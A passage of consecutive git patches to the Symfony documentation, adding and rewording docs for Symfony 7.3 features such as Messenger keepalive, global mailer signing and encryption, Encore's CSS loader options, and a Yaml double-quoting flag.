 and pass a number to specify the priority (default = ``1024``; lower numbers mean higher priority)::
 
     use App\Message\SomeMessage;
@@ -1951,6 +1950,13 @@ under the transport in ``messenger.yaml``:
     in your case) to avoid memory leaks. Otherwise, all messages will remain
     forever in Redis.
 
+The Redis transport supports the ``--keepalive`` option by using Redis's ``XCLAIM``
+command to periodically reset the message's idle time to zero.
+
+.. versionadded:: 7.3
+
+    Keepalive support was introduced in Symfony 7.3.
+
 In Memory Transport
 ~~~~~~~~~~~~~~~~~~~
 

From 0b9fbc1e9ea2290d4cf4016d8a833d0890fbba98 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Mon, 10 Mar 2025 15:13:28 +0100
Subject: [PATCH 6775/7107] [Messenger] Fix link to class

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index fcd4148cf51..08209896ef4 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1801,7 +1801,7 @@ The Beanstalkd transport supports the ``--keepalive`` option by using Beanstalkd
     Keepalive support was introduced in Symfony 7.2.
 
 The Beanstalkd transport lets you set the priority of the messages being dispatched.
-Use the :class:``Symfony\Component\Messenger\Bridge\Beanstalkd\Transport\BeanstalkdPriorityStamp``
+Use the :class:`Symfony\\Component\\Messenger\\Bridge\\Beanstalkd\\Transport\\BeanstalkdPriorityStamp`
 and pass a number to specify the priority (default = ``1024``; lower numbers mean higher priority)::
 
     use App\Message\SomeMessage;

From 26c429efc1e8c4c5d0e3a6bb48c027f9b14bce26 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 10 Mar 2025 17:54:29 +0100
Subject: [PATCH 6776/7107] Fix build

---
 serializer/encoders.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer/encoders.rst b/serializer/encoders.rst
index d5a98356156..a11daaa7bad 100644
--- a/serializer/encoders.rst
+++ b/serializer/encoders.rst
@@ -202,7 +202,7 @@ These are the options available on the :ref:`serializer context <serializer-cont
     If set to ``false``, will not wrap any value containing one of the
     following characters ( ``<``, ``>``, ``&``) in `a CDATA section`_ like
     following: ``<![CDATA[...]]>``.
-``cdata_wrapping_pattern`` (default: ````/[<>&]/````)
+``cdata_wrapping_pattern`` (default: ``/[<>&]/``)
     A regular expression pattern to determine if a value should be wrapped
     in a CDATA section.
 

From 4043a28b31023699509690db86c9952b013e5f5e Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Mon, 10 Mar 2025 21:25:43 +0100
Subject: [PATCH 6777/7107] [FrameworkBundle] Mention the
 `property_info.with_constructor_extractor` option

---
 components/property_info.rst          |  8 ++++++++
 reference/configuration/framework.rst | 12 ++++++++++++
 2 files changed, 20 insertions(+)

diff --git a/components/property_info.rst b/components/property_info.rst
index 0ff1768441a..10c4d161377 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -538,6 +538,8 @@ with the ``property_info`` service in the Symfony Framework::
     // Type information.
     $doctrineExtractor->getTypes($class, $property);
 
+.. _components-property-information-constructor-extractor:
+
 ConstructorExtractor
 ~~~~~~~~~~~~~~~~~~~~
 
@@ -570,6 +572,7 @@ Creating Your Own Extractors
 
 You can create your own property information extractors by creating a
 class that implements one or more of the following interfaces:
+:class:`Symfony\\Component\\PropertyInfo\\ConstructorArgumentTypeExtractorInterface`,
 :class:`Symfony\\Component\\PropertyInfo\\PropertyAccessExtractorInterface`,
 :class:`Symfony\\Component\\PropertyInfo\\PropertyDescriptionExtractorInterface`,
 :class:`Symfony\\Component\\PropertyInfo\\PropertyListExtractorInterface`,
@@ -587,6 +590,11 @@ service by defining it as a service with one or more of the following
 * ``property_info.access_extractor`` if it provides access information.
 * ``property_info.initializable_extractor`` if it provides initializable information
   (it checks if a property can be initialized through the constructor).
+* ``property_info.constructor_extractor`` if it provides type information from the constructor argument.
+
+  .. versionadded:: 7.3
+
+      The ``property_info.constructor_extractor`` tag was introduced in Symfony 7.3.
 
 .. _`PSR-1`: https://www.php-fig.org/psr/psr-1/
 .. _`phpDocumentor Reflection`: https://github.com/phpDocumentor/ReflectionDocBlock
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index f6a275067dc..528543a5178 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2451,6 +2451,18 @@ enabled
 
 **type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation
 
+with_constructor_extractor
+..........................
+
+**type**: ``boolean`` **default**: ``false``
+
+Configures the ``property_info`` service to extract property information from the constructor arguments
+using the :ref:`ConstructorExtractor <components-property-information-constructor-extractor>`.
+
+.. versionadded:: 7.3
+
+    The ``with_constructor_extractor`` option was introduced in Symfony 7.3.
+
 rate_limiter
 ~~~~~~~~~~~~
 

From 07e3d4bef6a42a1d2020aef3c4e2bfd2a75f4f27 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 11 Mar 2025 08:40:59 +0100
Subject: [PATCH 6778/7107] Minor tweak

---
 security/expressions.rst | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/security/expressions.rst b/security/expressions.rst
index dce52ee74ff..a4ec02c7b84 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -215,10 +215,7 @@ returns an array of values that will be injected into the closure::
 
     class MyController extends AbstractController
     {
-        #[IsGranted(static function (
-            IsGrantedContext $context,
-            mixed $subject,
-        ) {
+        #[IsGranted(static function (IsGrantedContext $context, mixed $subject) {
             return $context->user === $subject['post']->getAuthor();
         }, subject: static function (array $args) {
             return [

From 45b7549223d54deed318d4e03a5b5fba98256dc4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?El=C3=ADas=20Fern=C3=A1ndez?= <eliasfernandez@gmail.com>
Date: Tue, 25 Feb 2025 17:39:09 +0100
Subject: [PATCH 6779/7107] Add configuration to the mailer section #20641

https://github.com/symfony/symfony-docs/issues/20641
---
 mailer.rst | 123 +++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 123 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 9ab2f47c235..5baf9a5d193 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1370,6 +1370,78 @@ key but not a certificate::
         ->toArray()
     );
 
+Signing Messages Globally
+.........................
+
+Instead of creating a signer instance for every email, you can configure a global signer
+that automatically applies to all outgoing messages. This approach reduces repetition
+and centralizes your configuration for both DKIM and S/MIME signing.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/mailer.yaml
+        framework:
+            mailer:
+                dkim_signer:
+                    key: 'file://%kernel.project_dir%/var/certificates/dkim.pem'
+                    domain: 'symfony.com'
+                    select: 's1'
+                smime_signer:
+                    key: '%kernel.project_dir%/var/certificates/smime.key'
+                    certificate: '%kernel.project_dir%/var/certificates/smime.crt'
+                    passphrase: ''
+
+    .. code-block:: xml
+
+        <!-- config/packages/mailer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <!-- ... -->
+            <framework:config>
+                <framework:mailer>
+                    <framework:dkim-signer>
+                        <framework:key>file://%kernel.project_dir%/var/certificates/dkim.pem</framework:key>
+                        <framework:domain>symfony.com</framework:domain>
+                        <framework:select>s1</framework:select>
+                    </framework:dkim-signer>
+                    <framework:smime-signer>
+                        <framework:key>%kernel.project_dir%/var/certificates/smime.pem</framework:key>
+                        <framework:certificate>%kernel.project_dir%/var/certificates/smime.crt</framework:certificate>
+                        <framework:passphrase></framework:passphrase>
+                    </framework:smime-signer>
+                </framework:mailer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/mailer.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $mailer = $framework->mailer();
+            $mailer->dsn('%env(MAILER_DSN)%');
+            $mailer->dkimSigner()
+                    ->key('file://%kernel.project_dir%/var/certificates/dkim.pem')
+                    ->domain('symfony.com')
+                    ->select('s1');
+
+            $mailer->smimeSigner()
+                    ->key('%kernel.project_dir%/var/certificates/smime.key')
+                    ->certificate('%kernel.project_dir%/var/certificates/smime.crt')
+                    ->passphrase('')
+            ;
+        };
+
+
 Encrypting Messages
 ~~~~~~~~~~~~~~~~~~~
 
@@ -1411,6 +1483,57 @@ and it will select the appropriate certificate depending on the ``To`` option::
     $firstEncryptedEmail = $encrypter->encrypt($firstEmail);
     $secondEncryptedEmail = $encrypter->encrypt($secondEmail);
 
+
+Encrypting Messages Globally
+............................
+
+Similarly, you can avoid instantiating a new encrypter for every email by setting up a
+global S/MIME encrypter. With this configuration, the encrypter is automatically
+applied to all emails you send.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/mailer.yaml
+        framework:
+            mailer:
+                smime_encrypter:
+                    certificate: '%kernel.project_dir%/var/certificates/smime.crt'
+
+    .. code-block:: xml
+
+        <!-- config/packages/mailer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <!-- ... -->
+            <framework:config>
+                <framework:mailer>
+                    <framework:smime-encrypter>
+                        <framework:certificate>%kernel.project_dir%/var/certificates/smime.crt</framework:certificate>
+                    </framework:smime-encrypter>
+                </framework:mailer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/mailer.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $mailer = $framework->mailer();
+            $mailer->smimeEncrypter()
+                    ->certificate('%kernel.project_dir%/var/certificates/smime.crt')
+            ;
+        };
+
 .. _multiple-email-transports:
 
 Multiple Email Transports

From ea5d2cf91db89eb0743cc72946b0b5af497a21cd Mon Sep 17 00:00:00 2001
From: Jalen Muller <jalen@jcid.nl>
Date: Tue, 11 Mar 2025 10:21:47 +0100
Subject: [PATCH 6780/7107] Document the `configureCssLoader` method

---
 frontend/encore/advanced-config.rst | 26 ++++++++++++++++++++++++++
 1 file changed, 26 insertions(+)

diff --git a/frontend/encore/advanced-config.rst b/frontend/encore/advanced-config.rst
index bbd4fc44c93..2a94a4f33cf 100644
--- a/frontend/encore/advanced-config.rst
+++ b/frontend/encore/advanced-config.rst
@@ -198,6 +198,32 @@ Now you can inject your service into your class::
         $this->render($emailTwo);
     }
 
+Configuring the CSS Loader
+--------------------------
+
+Encore provides the method ``configureCssLoader()`` to configure options for ``css-loader``. This method allows you to customize how Webpack processes CSS assets.
+
+A common use case is filtering certain URLs so that Webpack does not attempt to resolve them. For example, if user-uploaded assets are stored under in a user uploaded directory, Webpack should not process these paths since they may not exist at build time.
+
+Use ``configureCssLoader()`` as follows:
+
+.. code-block:: javascript
+
+    // Configuring the CSS Loader in Webpack Encore
+    // This ensures that Webpack does not attempt to resolve certain URLs in CSS files
+
+    Encore.configureCssLoader((options) => {
+        options.url = {
+            filter: (url) => {
+                // Ignore URLs that start with /uploads/
+                if (url.startsWith('/uploads/')) {
+                    return false;
+                }
+                return true; // Process other URLs normally
+            },
+        };
+    });
+
 Generating a Webpack Configuration Object without using the Command-Line Interface
 ----------------------------------------------------------------------------------
 

From 6930b68bc3e613cf35b9402c839db0fdab563da1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 11 Mar 2025 13:15:06 +0100
Subject: [PATCH 6781/7107] Minor reword

---
 mailer.rst | 19 ++++++++++++-------
 1 file changed, 12 insertions(+), 7 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 1a6605a3fe3..f1d0a921567 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1367,9 +1367,9 @@ key but not a certificate::
 Signing Messages Globally
 .........................
 
-Instead of creating a signer instance for every email, you can configure a global signer
-that automatically applies to all outgoing messages. This approach reduces repetition
-and centralizes your configuration for both DKIM and S/MIME signing.
+Instead of creating a signer instance for each email, you can configure a global
+signer that automatically applies to all outgoing messages. This approach
+minimizes repetition and centralizes your configuration for DKIM and S/MIME signing.
 
 .. configuration-block::
 
@@ -1435,6 +1435,9 @@ and centralizes your configuration for both DKIM and S/MIME signing.
             ;
         };
 
+.. versionadded:: 7.3
+
+    Global message signing was introduced in Symfony 7.3.
 
 Encrypting Messages
 ~~~~~~~~~~~~~~~~~~~
@@ -1477,13 +1480,11 @@ and it will select the appropriate certificate depending on the ``To`` option::
     $firstEncryptedEmail = $encrypter->encrypt($firstEmail);
     $secondEncryptedEmail = $encrypter->encrypt($secondEmail);
 
-
 Encrypting Messages Globally
 ............................
 
-Similarly, you can avoid instantiating a new encrypter for every email by setting up a
-global S/MIME encrypter. With this configuration, the encrypter is automatically
-applied to all emails you send.
+Instead of creating a new encrypter for each email, you can configure a global S/MIME
+encrypter that automatically applies to all outgoing messages:
 
 .. configuration-block::
 
@@ -1528,6 +1529,10 @@ applied to all emails you send.
             ;
         };
 
+.. versionadded:: 7.3
+
+    Global message encryption configuration was introduced in Symfony 7.3.
+
 .. _multiple-email-transports:
 
 Multiple Email Transports

From efed8f8340a1555cd6ac8665d26955d75ea80c2c Mon Sep 17 00:00:00 2001
From: Niels Keurentjes <niels.keurentjes@omines.com>
Date: Fri, 7 Feb 2025 12:53:40 +0100
Subject: [PATCH 6782/7107] Remove reference to Local PHP Security Checker

Local PHP Security Checker has been archived in favor of composer audit months ago.
---
 setup.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index 1fc65f23856..117de9dd66c 100644
--- a/setup.rst
+++ b/setup.rst
@@ -249,9 +249,9 @@ workflows to make them fail when there are vulnerabilities.
 .. tip::
 
     In continuous integration services you can check security vulnerabilities
-    using a different stand-alone project called `Local PHP Security Checker`_.
-    This is the same project used internally by ``check:security`` but much
-    smaller in size than the entire Symfony CLI.
+    by invoking `composer audit`. This uses the same data internally as
+    ``check:security`` but does not require installing the entire Symfony CLI
+    during CI or on CI workers.
 
 Symfony LTS Versions
 --------------------
@@ -318,7 +318,6 @@ Learn More
 .. _`The Symfony Demo Application`: https://github.com/symfony/demo
 .. _`Symfony Flex`: https://github.com/symfony/flex
 .. _`PHP security advisories database`: https://github.com/FriendsOfPHP/security-advisories
-.. _`Local PHP Security Checker`: https://github.com/fabpot/local-php-security-checker
 .. _`Symfony releases`: https://symfony.com/releases
 .. _`Main recipe repository`: https://github.com/symfony/recipes
 .. _`Contrib recipe repository`: https://github.com/symfony/recipes-contrib

From 89950eee76d1bed44633036ba7acccb5905a1768 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 11 Mar 2025 17:30:40 +0100
Subject: [PATCH 6783/7107] Minor tweak

---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index 117de9dd66c..889df729466 100644
--- a/setup.rst
+++ b/setup.rst
@@ -249,8 +249,8 @@ workflows to make them fail when there are vulnerabilities.
 .. tip::
 
     In continuous integration services you can check security vulnerabilities
-    by invoking `composer audit`. This uses the same data internally as
-    ``check:security`` but does not require installing the entire Symfony CLI
+    by running the ``composer audit`` command. This uses the same data internally
+    as ``check:security`` but does not require installing the entire Symfony CLI
     during CI or on CI workers.
 
 Symfony LTS Versions

From cc298b88c90d2f0b5425d9fe08bbfc73f52d6ae4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 12 Mar 2025 09:19:37 +0100
Subject: [PATCH 6784/7107] Minor reword

---
 frontend/encore/advanced-config.rst | 18 ++++++++++--------
 1 file changed, 10 insertions(+), 8 deletions(-)

diff --git a/frontend/encore/advanced-config.rst b/frontend/encore/advanced-config.rst
index 2a94a4f33cf..b7a02883e08 100644
--- a/frontend/encore/advanced-config.rst
+++ b/frontend/encore/advanced-config.rst
@@ -201,25 +201,27 @@ Now you can inject your service into your class::
 Configuring the CSS Loader
 --------------------------
 
-Encore provides the method ``configureCssLoader()`` to configure options for ``css-loader``. This method allows you to customize how Webpack processes CSS assets.
+Encore provides the ``configureCssLoader()`` method to customize how ``css-loader``
+processes your CSS assets. One common use case is to prevent Webpack from resolving
+certain URLs.
 
-A common use case is filtering certain URLs so that Webpack does not attempt to resolve them. For example, if user-uploaded assets are stored under in a user uploaded directory, Webpack should not process these paths since they may not exist at build time.
-
-Use ``configureCssLoader()`` as follows:
+For instance, if your application serves user-uploaded assets from a specific
+directory, you'll want Webpack to ignore these paths since they may not exist
+during the build process:
 
 .. code-block:: javascript
 
     // Configuring the CSS Loader in Webpack Encore
-    // This ensures that Webpack does not attempt to resolve certain URLs in CSS files
-
+    // Prevent Webpack from resolving certain URLs in CSS files
     Encore.configureCssLoader((options) => {
         options.url = {
             filter: (url) => {
-                // Ignore URLs that start with /uploads/
+                // Ignore URLs beginning with /uploads/
                 if (url.startsWith('/uploads/')) {
                     return false;
                 }
-                return true; // Process other URLs normally
+
+                return true; // Process other URLs as usual
             },
         };
     });

From 4150430e838ad29532a68b6909db2c20ddab5485 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 12 Mar 2025 09:21:07 +0100
Subject: [PATCH 6785/7107] Backport 20755 pull request

---
 frontend/encore/advanced-config.rst | 28 ++++++++++++++++++++++++++++
 1 file changed, 28 insertions(+)

diff --git a/frontend/encore/advanced-config.rst b/frontend/encore/advanced-config.rst
index bbd4fc44c93..b7a02883e08 100644
--- a/frontend/encore/advanced-config.rst
+++ b/frontend/encore/advanced-config.rst
@@ -198,6 +198,34 @@ Now you can inject your service into your class::
         $this->render($emailTwo);
     }
 
+Configuring the CSS Loader
+--------------------------
+
+Encore provides the ``configureCssLoader()`` method to customize how ``css-loader``
+processes your CSS assets. One common use case is to prevent Webpack from resolving
+certain URLs.
+
+For instance, if your application serves user-uploaded assets from a specific
+directory, you'll want Webpack to ignore these paths since they may not exist
+during the build process:
+
+.. code-block:: javascript
+
+    // Configuring the CSS Loader in Webpack Encore
+    // Prevent Webpack from resolving certain URLs in CSS files
+    Encore.configureCssLoader((options) => {
+        options.url = {
+            filter: (url) => {
+                // Ignore URLs beginning with /uploads/
+                if (url.startsWith('/uploads/')) {
+                    return false;
+                }
+
+                return true; // Process other URLs as usual
+            },
+        };
+    });
+
 Generating a Webpack Configuration Object without using the Command-Line Interface
 ----------------------------------------------------------------------------------
 

From f5164f73fbebea6b6a5d40acdb7210f22b46f423 Mon Sep 17 00:00:00 2001
From: Staormin <kevin.macquer@gmail.com>
Date: Fri, 21 Feb 2025 15:20:19 +0100
Subject: [PATCH 6786/7107] [Messenger][Process] add fromShellCommandLine
 documentation

---
 components/process.rst |  2 ++
 messenger.rst          | 33 +++++++++++++++++++++++++++++++--
 2 files changed, 33 insertions(+), 2 deletions(-)

diff --git a/components/process.rst b/components/process.rst
index f6c8837d2c3..7552537e82e 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -114,6 +114,8 @@ You can configure the options passed to the ``other_options`` argument of
     and ``suppress_errors``) are only supported on Windows operating systems.
     Check out the `PHP documentation for proc_open()`_ before using them.
 
+.. _process-using-features-from-the-os-shell:
+
 Using Features From the OS Shell
 --------------------------------
 
diff --git a/messenger.rst b/messenger.rst
index 08209896ef4..6eb187af460 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2301,8 +2301,9 @@ will take care of creating a new process with the parameters you passed::
 
     class CleanUpService
     {
-        public function __construct(private readonly MessageBusInterface $bus)
-        {
+        public function __construct(
+            private readonly MessageBusInterface $bus,
+        ) {
         }
 
         public function cleanUp(): void
@@ -2313,6 +2314,34 @@ will take care of creating a new process with the parameters you passed::
         }
     }
 
+A static factory :method:`Symfony\\Component\\Process\\Messenger\\RunProcessMessage::fromShellCommandline` is also
+available if you want to use features of your shell such as redirections or pipes::
+
+    use Symfony\Component\Messenger\MessageBusInterface;
+    use Symfony\Component\Process\Messenger\RunProcessMessage;
+
+    class CleanUpService
+    {
+        public function __construct(
+            private readonly MessageBusInterface $bus,
+        ) {
+        }
+
+        public function cleanUp(): void
+        {
+            $this->bus->dispatch(RunProcessMessage::fromShellCommandline('echo "Hello World" > var/log/hello.txt'));
+
+            // ...
+        }
+    }
+
+For more information, see the
+dedicated :ref:`Using Features From the OS Shell <process-using-features-from-the-os-shell>` documentation.
+
+.. versionadded:: 7.3
+
+    The ``RunProcessMessage::fromShellCommandline()`` method was introduced in Symfony 7.3.
+
 Once handled, the handler will return a
 :class:`Symfony\\Component\\Process\\Messenger\\RunProcessContext` which
 contains many useful information such as the exit code or the output of the

From b76b19903552db25fc8adb4c6ade4078f9b8d268 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 12 Mar 2025 10:47:41 +0100
Subject: [PATCH 6787/7107] [TwigBridge] Add Twig field_id() form helper

---
 form/form_customization.rst  | 6 ++++++
 reference/twig_reference.rst | 1 +
 2 files changed, 7 insertions(+)

diff --git a/form/form_customization.rst b/form/form_customization.rst
index 1c23601a883..dc09aefe77d 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -103,6 +103,7 @@ That's why Symfony provides other Twig form helpers that render the value of
 each form field part without adding any HTML around it:
 
 * ``field_name()``
+* ``field_id()``
 * ``field_value()``
 * ``field_label()``
 * ``field_help()``
@@ -116,6 +117,7 @@ fields, so you no longer have to deal with form themes:
 
     <input
         name="{{ field_name(form.username) }}"
+        id="{{ field_id(form.username) }}"
         value="{{ field_value(form.username) }}"
         placeholder="{{ field_label(form.username) }}"
         class="form-control"
@@ -129,6 +131,10 @@ fields, so you no longer have to deal with form themes:
         {% endfor %}
     </select>
 
+.. versionadded:: 7.3
+
+    The ``field_id()`` helper was introduced in Symfony 7.3.
+
 Form Rendering Variables
 ------------------------
 
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index acbab2f3817..bb636c69f02 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -408,6 +408,7 @@ explained in the article about :doc:`customizing form rendering </form/form_cust
 * :ref:`form_row() <reference-forms-twig-row>`
 * :ref:`form_rest() <reference-forms-twig-rest>`
 * :ref:`field_name() <reference-forms-twig-field-helpers>`
+* :ref:`field_id() <reference-forms-twig-field-helpers>`
 * :ref:`field_value() <reference-forms-twig-field-helpers>`
 * :ref:`field_label() <reference-forms-twig-field-helpers>`
 * :ref:`field_help() <reference-forms-twig-field-helpers>`

From 152d436e541d7a3e9b7ffae90404562ab6d170bc Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 12 Mar 2025 11:02:05 +0100
Subject: [PATCH 6788/7107] [Yaml] Add the
 Yaml::DUMP_FORCE_DOUBLE_QUOTES_ON_VALUES flag to enforce double quotes around
 string values

---
 components/yaml.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/components/yaml.rst b/components/yaml.rst
index 40a172f334d..09028732c0a 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -450,6 +450,23 @@ By default, digit-only array keys are dumped as integers. You can use the
     $dumped = Yaml::dump([200 => 'foo'], 2, 4, Yaml::DUMP_NUMERIC_KEY_AS_STRING);
     // '200': foo
 
+Dumping Double Quotes on Values
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+By default, only unsafe values are double quoted. In some scenarios, quoting
+even safe values is encouraged by various inspectors. You can use the
+``DUMP_FORCE_DOUBLE_QUOTES_ON_VALUES`` flag to enforce double quotes::
+
+    $dumped = Yaml::dump(['foo' => 'bar']);
+    // foo: bar
+
+    $dumped = Yaml::dump(['foo' => 'bar'], 2, 4, Yaml::DUMP_FORCE_DOUBLE_QUOTES_ON_VALUES);
+    // foo: "bar"
+
+.. versionadded:: 7.3
+
+    The ``Yaml::DUMP_FORCE_DOUBLE_QUOTES_ON_VALUES`` flag was introduced in Symfony 7.3.
+
 Dumping Collection of Maps
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 7214ad2bbeaf4a99b55ba34f23c349cd092eb5a6 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Wed, 12 Mar 2025 16:13:08 +0100
Subject: [PATCH 6789/7107] [PropertyInfo] Fix class namespace

---
 components/property_info.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index 10c4d161377..39019657ced 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -572,7 +572,7 @@ Creating Your Own Extractors
 
 You can create your own property information extractors by creating a
 class that implements one or more of the following interfaces:
-:class:`Symfony\\Component\\PropertyInfo\\ConstructorArgumentTypeExtractorInterface`,
+:class:`Symfony\\Component\\PropertyInfo\\Extractor\\ConstructorArgumentTypeExtractorInterface`,
 :class:`Symfony\\Component\\PropertyInfo\\PropertyAccessExtractorInterface`,
 :class:`Symfony\\Component\\PropertyInfo\\PropertyDescriptionExtractorInterface`,
 :class:`Symfony\\Component\\PropertyInfo\\PropertyListExtractorInterface`,

From 409ec0233462afb560b279d450e2a4fcdb0824ce Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 12 Mar 2025 17:37:39 +0100
Subject: [PATCH 6790/7107] Tweaks

---
 components/yaml.rst | 22 +++++++++++++---------
 1 file changed, 13 insertions(+), 9 deletions(-)

diff --git a/components/yaml.rst b/components/yaml.rst
index 09028732c0a..471b59dcf5c 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -453,15 +453,19 @@ By default, digit-only array keys are dumped as integers. You can use the
 Dumping Double Quotes on Values
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-By default, only unsafe values are double quoted. In some scenarios, quoting
-even safe values is encouraged by various inspectors. You can use the
-``DUMP_FORCE_DOUBLE_QUOTES_ON_VALUES`` flag to enforce double quotes::
-
-    $dumped = Yaml::dump(['foo' => 'bar']);
-    // foo: bar
-
-    $dumped = Yaml::dump(['foo' => 'bar'], 2, 4, Yaml::DUMP_FORCE_DOUBLE_QUOTES_ON_VALUES);
-    // foo: "bar"
+By default, only unsafe string values are enclosed in double quotes (for example,
+if they are reserved words or contain newlines and spaces). Use the
+``DUMP_FORCE_DOUBLE_QUOTES_ON_VALUES`` flag to add double quotes to all string values::
+
+    $dumped = Yaml::dump([
+        'foo' => 'bar', 'some foo' => 'some bar', 'x' => 3.14, 'y' => true, 'z' => null,
+    ]);
+    // foo: bar, 'some foo': 'some bar', x: 3.14, 'y': true, z: null
+
+    $dumped = Yaml::dump([
+        'foo' => 'bar', 'some foo' => 'some bar', 'x' => 3.14, 'y' => true, 'z' => null,
+    ], 2, 4, Yaml::DUMP_FORCE_DOUBLE_QUOTES_ON_VALUES);
+    // "foo": "bar", "some foo": "some bar", "x": 3.14, "y": true, "z": null
 
 .. versionadded:: 7.3
 

From e363b742288ba6b82bd05b5a67896d3c4b293e3b Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 14 Mar 2025 16:40:06 +0100
Subject: [PATCH 6791/7107] Update messenger.rst: Typo

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 70154ab82ca..d25800ef00d 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1563,7 +1563,7 @@ Install it by running:
 
     $ composer require symfony/doctrine-messenger
 
-The Doctrine transport DSN may looks like this:
+The Doctrine transport DSN may look like this:
 
 .. code-block:: env
 

From b04bc3a09b64d35fe47e5b74f01023c08584f3a1 Mon Sep 17 00:00:00 2001
From: Santiago San Martin <sanmartindev@gmail.com>
Date: Fri, 14 Mar 2025 18:47:45 -0300
Subject: [PATCH 6792/7107] Add new tip to explain usage of --method option for
 filtering routes

---
 routing.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/routing.rst b/routing.rst
index 4ab0dce2a82..c5cf5cd7f33 100644
--- a/routing.rst
+++ b/routing.rst
@@ -456,6 +456,10 @@ route details:
     Use the ``--show-aliases`` option to show all available aliases for a given
     route.
 
+.. tip::
+
+    Use the ``--method`` option to filter routes by HTTP method. For example, to only show routes that use the ``GET`` method, add ``--method=GET``
+
 The other command is called ``router:match`` and it shows which route will match
 the given URL. It's useful to find out why some URL is not executing the
 controller action that you expect:

From d51154b75f4e8934d4997f06a0f1e18de6871a8c Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Mon, 17 Mar 2025 01:27:35 +0100
Subject: [PATCH 6793/7107] [Serializer] Fix `defaultContext` example

---
 serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer.rst b/serializer.rst
index d541310aa15..cd181787763 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -344,7 +344,7 @@ instance to disallow extra fields while deserializing:
 
         return static function (FrameworkConfig $framework): void {
             $framework->serializer()
-                ->defaultContext('', [
